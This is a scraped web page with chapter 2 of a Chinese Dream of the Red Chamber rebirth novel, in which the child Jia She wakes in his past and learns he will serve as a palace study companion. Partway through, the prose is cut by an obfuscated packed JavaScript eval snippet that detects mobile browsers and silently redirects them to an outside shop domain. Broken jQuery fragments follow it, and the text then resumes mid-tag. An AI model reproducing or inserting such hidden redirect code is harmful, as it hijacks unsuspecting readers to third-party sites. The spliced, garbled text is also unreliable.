文趣网 > 都市小说 > 【红楼】贾赦重生之东宫小伴读 > 2. 宣德二十八年
    宣德二十八年,荣国公府,荣禧堂左厢房外间。

    窗边立着一位豆蔻年华的少女,面庞尚带稚气青涩,眉眼清秀温婉。她身着淡黄绫缎衣裳,肩头系着软质黄绸霞带,足下踏一双小巧精致红缎锈花鞋,侧身对着身边年长的梁嬷嬷闲谈:

    “方才前院传了消息,咱们府里大老爷要带兵去顺州和那些鞑子打仗了,也不知这仗要打几年……倒是有一桩喜事,咱们赦哥儿奉旨入宫要去给皇子做伴读,这可真是圣上恩典。

    只是赦哥儿不过五岁,垂髫稚子,年纪实在太小了,也不知能否应付得来。”

    梁嬷嬷虽未说什么,但闻言眉心微不可察轻轻一蹙,并无半分轻松喜色。

    厢房里间陈设华贵考究,床架为整块老料红木雕花打造,床脚雕琢嵌饰纯金玉龙,榻上铺着流光细密的金丝织锦被褥。年幼的贾赦静静卧于床中安睡,若丫鬟俯身凑近细听,便能听见他唇间反复呢喃细碎短句,声声皆是:太子哥哥。

    少时,贾赦睫羽轻颤,缓缓睁眼,眼底先是初生睡醒的懵懂茫然,他抬手揉了揉惺忪双眼,然后挥了挥手,看向自己藕节一般白嫩圆润、一掐便软的小胖胳膊,圆圆的瞳眸瞬间盛满震惊,满眼难以置信。

    “我......”

    贾赦抬眼环视四周,熟悉的雕花木窗、屋内陈设,分明是幼时居住的荣禧堂左厢房。

    此刻里间伺候的嬷嬷和丫鬟都不在。

    “梁嬷嬷,梁嬷嬷!”贾赦扬声开口,孩童嗓音软糯清亮。

    在外间坐着做针线的梁嬷嬷闻声放下针线,快步踏入里间,眉眼温和含笑,柔声应答:“欸,老奴在呢。咱们赦哥儿睡醒了?可是腹中饿了?嬷嬷这就吩咐下人传膳。”

    贾赦仰着稚嫩小脸,语气压着难掩的焦灼,直白问道:“嬷嬷,如今是哪一年呀?”

    “现下是宣德二十八年,怎么了赦哥儿,可是做噩梦了?”梁嬷嬷一边回话,一边抬手轻探他额头,当即轻讶出声,“出了一身汗,念夏,快,再拿一身里衣和一块干棉布进来。”

    念夏应声取来。

    梁嬷嬷用干棉布细心替贾赦擦了擦身,伺候他更衣。年幼的贾赦格外乖巧,抬手、屈腿尽数配合,偏偏稚嫩面皮之上,凝着远超五岁孩童的沉静沉敛,垂眸暗自思忖,模样乖静,煞是可爱。

    贾赦是宣德二十三年生,现下是宣德二十八年,算来是回到了他五岁那年。

    贾赦心底一团乱麻,满是懵懂困惑。

    他明明记得自己早已在正德十五年,殒命于流放凉州的途中,怎会一睁眼,便回到了数十载之前?

    “呃……”

    他将小脸埋进掌心,只觉脑袋昏沉发胀。

    正德十五年……宣德二十八年……这两个年份相隔多远,他已全然分不清。

    许是稚弱的身躯与懵懂心智,本就托不住前半生沉甸甸的往事,又似冥冥之中自有定数,周遭的一切都在悄然归位。

    贾赦能清晰感觉到,那些纷乱繁杂的过往记忆,正一点点变得浅淡模糊。

    惶然与不安攫住了他。

    难道前尘种种,都只是一场太过逼真的幻梦?

    绝非是梦!

    前世的一幕幕还历历在目:他五岁入宫伴读,十九岁时,太子哥哥自焚于东宫;待他年岁未及半百,荣国公府轰然倾颓,自己辗转流徙凉州,最终孤零零客死他乡。

    一想到往后这般凄惨结局,小小的贾赦就心底发怵。

    他以后好像会死的好惨。

    他年纪尚幼,参不透命运纠葛,也想不通前因后果,只凭着本能,死死攥住脑海里几件要紧的事不肯忘却。

    鼻尖一阵阵发酸,眼眶微微泛红,险些当场哭出声来。

    他莫名觉得自己受到了好大的委屈。

    他还记起,梦里这一年,大齐与北地鞑靼战火再起,正是父亲贾代善亲领涿、幽、景三州铁骑北上御敌。宣德帝忌惮父亲手握重兵,这才下旨召他入宫伴读。

    只是,小贾赦心里犯起嘀咕:宣德帝是谁?他为什么提防父亲,而不是祖父呢?在他眼中,祖父贾源的本事与威望,岂是小小父亲可比的。

    唔,可真奇怪。

    他要验证一下这个可怕的梦是不是真的。

    贾赦端坐在床榻上,两只小脚轻轻晃荡,他觉得他好像很久没有见到祖父和祖母了,好想祖父、祖母呀。

    “嬷嬷,祖父、祖母和爹都去哪儿了,赦哥儿醒来怎么没有看到他们?”

    梁嬷嬷打从这孩子落地便贴身伺候,瞧着他小脸神色忽明忽暗,一会儿蹙眉一会儿发呆,模样天真又娇憨,只觉满心软和,当即温声应道:“国公爷、老夫人同大老爷在前堂议事呢,想来不久就会过来陪我们哥儿用膳了。”

    贾赦手肘撑在膝头,双手托着圆圆的下巴,眼珠转了转,实在按捺不住性子,要不还是去前面找祖父、祖母吧,他也想看看自己是不是真的要去陪太子哥哥读书了。

    念及太子哥哥,纵使舍不得疼惜自己的祖父母,贾赦心底还是悄悄冒出几分期待。

    虽然他至今尚未曾见过太子哥哥,可梦里那位殿下待昔日的自己那般温存亲厚,想来也定会善待他哒。

    小家伙偷偷抿了抿嘴,暗自想着自己生得讨喜,太子哥哥必定会喜欢的。

    思及此处,贾赦心中再难安分,脆生生催促道:“嬷嬷,我们这就去找祖母。”

    贾赦学着祖父平日里踱步的模样,小小手背在身后,微微挺起胸脯,迈着短腿一步一颠地往前走。稚嫩的身形偏要摆出老成姿态,憨趣十足。

    梁嬷嬷带着念夏和另外三个小丫鬟紧随其后,步履轻缓。

    正堂之内,荣国公贾源、国公夫人徐氏,连同长子贾代善,正围着宫中传来的两道旨意低声商议,一道是命贾代善领兵北上抵御鞑靼,另一道,便是召年幼的贾赦入宫,做皇子伴读。

    “时隔六年,鞑靼又举兵来犯,来势汹汹,代善届时你万万不可轻敌。”贾源语声沉稳,缓缓说道,“六年前鞑靼大汗乌古里殒于镇国大将军章邢之手,如今其三子阿古达木接过汗位,以铁腕平定部落内乱,坐稳位置便即刻南下,侵扰我大齐边境,实是狼子野心,昭然若揭!”

    他抬眼看向贾代善。

    贾代善神色凝重,拱手应道:“父亲说得是。阿古达木新掌大权,急于立威,此番来犯必定拼死向前,孩儿自当谨慎行事,不敢有半分懈怠。”

    贾源淡淡“嗯”了一声,片刻后话头调转,语气里多了几分忧思:“战事自有你费心。倒是赦哥儿这边,反倒叫我牵肠挂肚。别家勋贵子弟入宫伴读,多是七八岁心性稍定的年纪,偏生咱们家赦哥儿,他现下还不到五岁,平日里府里宠惯了,心性稚嫩,动辄哭闹撒娇,深宫规制森严、人情难测,这般小小的孩子孤身入宫,如何能叫为父心安?

    如今宫中与赦哥儿年岁相仿的皇子,唯有六皇子与七皇子二人。想来赦哥儿入宫,便是随二位小皇子其中一处读书了。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695199|207982||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>贾源轻轻一叹,眉宇间无半分朝堂忧色,唯独萦绕着对幼孙的牵念疼惜。

    他历经两朝风雨,看惯君心起伏、朝堂博弈。当今圣上年富力强,处事公允,对待勋贵与文官向来是恩荣与制衡并行,远比先帝宽厚。此番召赦哥儿入宫,既是稍稍平衡贾家军中威望的举措,也是勋贵子弟近身天家、蒙受圣恩的体面机缘。

    再者贾代善此番出征仅为副将,上有镇国大将军章邢总领全军,功勋名望足以压阵;麾下又是亲手操练多年的三州旧部,军心稳固,安危自有保障。

    将门之人,沙场报国,纵马戍边自是本分。

    马革裹尸是将军的宿命,亦是荣光。

    这些事贾源早已看得淡然通透。

    可权谋算计再寻常,世事风浪再无畏,一想到自家那个总爱学着大人模样、故作老成的小孙儿,小小年纪便要踏入规矩森严的深宫,无人偏护、无人纵容,老国公心底的万般从容,终究抵不过一腔浓得化不开的疼惜与牵挂。

    徐氏端坐在进门右侧的太师椅上,语气从容不迫:“六皇子生母乃是赵嫔,其外家礼部侍郎赵真一门,从文仕宦,与咱们武勋世家向来少有交集。七皇子母妃为淑妃,背后靠着东平郡王府,四王八公本就同气连枝,若赦儿随侍七皇子,反倒能让人安心几分。”

    她手中捧着一只建阳窑黑釉茶盏,釉色黑底泛着淡淡天青,光泽莹润,质感沉厚端庄。

    徐氏出身吏部尚书徐家,如今当朝吏部尚书便是她嫡兄,家世底蕴十足。

    左下首的贾代善闻言,端起茶盏抿了一口,嘴角几不可察地抽了抽。

    他心中暗自好笑:夫人总念叨公婆偏疼长孙,待政哥儿不太亲厚。如今看来倒不全是虚言,二老一颗心全系在大孙子身上。明日自己便要远赴边境征战,商议半日,竟无人再多提一句,倒像是被彻底忘在了一旁,他心中不免暗自慨叹。

    正思忖间,软糯的童声由远及近:“祖父、祖母!赦哥儿好想你们啦!”

    贾赦一路唤着人,蹦蹦跳跳进了正堂。

    听见孙儿的声音,贾源与徐氏原本沉静的面容瞬间漾开笑意。

    “哎,我的乖孙来了,祖父也正想着你呢。”

    眼见小家伙迈着短腿费劲地攀上门槛,贾源连忙起身,快步上前将他一把抱入怀中。

    贾赦圈着祖父的脖颈,忽然记起正事,仰着小脸问道:“祖父,听说赦哥儿要进宫做伴读了?”

    “正是。那你可知伴读是做什么的?”

    “我晓得!就是陪着太子哥哥读书呀。”

    这话一出,贾源与徐氏相视一眼,面上皆露出几分诧异。

    贾源温声解释:“傻孩子,是谁同你说的?太子殿下年长你七岁,身边早已配有伴读。与你年岁相仿的是六皇子与七皇子,此番你入宫,该是随侍二位殿下读书才对。”

    贾赦顿时一懵,澄澈的眼眸里满是茫然。

    他蹙着小眉头回想前世旧事,五岁这年的细节已然模糊不清。片刻后索性把脑袋一歪,小嘴一瘪,当场放声大哭起来,边哭边闹:“呜——我就要做太子哥哥的伴读!不要六皇子、七皇子,我不要!”

    孩童的哭声闹得满堂皆是,贾代善眉峰微蹙,心底生出几分不耐。

    果然是被宠得娇纵了,稍不顺心便只会哭闹。

    转念间他又觉蹊跷:赦儿年纪尚幼,平日里深居府中,怎会知晓太子?念头一动,便出声询问:“赦哥儿,你从前见过太子殿下?”